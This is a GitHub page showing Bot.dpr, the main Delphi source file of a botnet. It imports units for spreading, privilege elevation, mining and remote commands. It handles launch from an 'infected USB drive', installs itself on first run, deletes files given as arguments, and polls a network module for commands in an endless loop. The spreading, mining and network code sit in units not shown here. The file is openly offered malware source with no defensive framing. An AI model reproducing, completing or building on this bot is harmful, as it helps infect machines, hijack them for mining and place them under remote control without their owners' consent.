-
Notifications
You must be signed in to change notification settings - Fork 28
Expand file tree
/
Copy pathBot.dpr
More file actions
79 lines (73 loc) · 1.69 KB
/
Bot.dpr
File metadata and controls
79 lines (73 loc) · 1.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
program Bot;
{$IFDEF DEBUG}
{$APPTYPE CONSOLE}
{$ENDIF}
{$R *.res}
uses
System.SysUtils,
System.Classes,
NetUnit in 'Units\NetUnit.pas' {Net: TDataModule},
BotUnit in 'Units\BotUnit.pas',
Basics in 'Units\Basics.pas',
DPipes in 'Units\DProcess\DPipes.pas',
DProcess in 'Units\DProcess\DProcess.pas',
SystemUnit in 'Units\SystemUnit.pas',
ElevateUnit in 'Units\ElevateUnit.pas',
CommandUnit in 'Units\CommandUnit.pas',
SpreadUnit in 'Units\SpreadUnit.pas',
InfoUnit in 'Units\InfoUnit.pas',
FileUnit in 'Units\FileUnit.pas',
MineUnit in 'Units\MineUnit.pas';
procedure ParamActions;
Begin
if ParamStr(0).Contains(CloneNames[0]) then
Begin
Open(ExtractFilePath(ParamStr(0)));
Dbg('Executed from an infected USB drive.');
Dbg('Opening: ' + ExtractFilePath(ParamStr(0)));
End
else if ParamStr(1) = '/wait' then
Begin
Sleep(1000);
Dbg('Sleeping for 1 second...');
End;
if ParamStr(2) = '/delete' then
Begin
System.SysUtils.DeleteFile(ParamStr(3));
Dbg('Deleting: ' + ParamStr(3));
End;
End;
begin
{$IFDEF DEBUG}
ReportMemoryLeaksOnShutdown := True;
{$ENDIF}
Randomize;
SetCurrentDir(ExtractFileDir(ParamStr(0)));
ParamActions;
CheckInstance;
try
if IsFirstStart then
Begin
Install;
Exit;
end
else
LoadSettings;
Workers := TWorkerList.Create(True);
Net := TNet.Create(Nil);
Dbg('Listening for commands.');
Repeat
CheckSynchronize;
Net.GetCommands;
Net.ParseCommands;
CommandUnit.CleanUp;
Sleep(5000);
Until False;
Net.Free;
Workers.Free;
except
on E: Exception do
Dbg('Fatal ' + E.ClassName + ': ' + E.Message, dError);
end;
Readln;
end.